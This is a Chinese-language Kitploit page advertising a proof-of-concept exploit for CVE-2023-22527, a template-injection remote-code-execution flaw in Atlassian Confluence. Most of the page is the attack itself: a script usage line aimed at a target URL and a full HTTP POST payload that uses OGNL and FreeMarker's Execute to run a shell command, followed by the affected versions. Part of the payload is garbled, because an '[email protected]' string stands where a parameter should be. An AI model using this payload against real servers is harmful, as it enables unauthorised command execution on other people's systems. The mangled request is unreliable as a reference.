CVE-2023-22527 — CVE-2023-22527的概念验证漏洞利用代码，该漏洞是Atlassian Confluence中的服务器端模板注入（SSTI）漏洞，可通过精心构造的HTTP请求实现远程代码执行。 | Kitploit

CVE-2023-22527

CVE-2023-22527 | 在 Confluence 中使用 SSTI 进行远程代码执行

描述

CVE-2023-22527 指的是 FreeMarker 引擎中的一个服务端模板注入漏洞，允许用户在 Web 服务器上执行命令。
此代码是利用 CVE-2023-22527 的概念验证 (PoC) 脚本，该漏洞被描述为 Atlassian Confluence 中的服务端模板注入 (SSTI) 漏洞。

用法

python3 CVE-2023-22527.py -u  http://target.com

有效载荷

POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))

受影响版本

8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
8.5.0-8.5.3

参考

projectdiscovery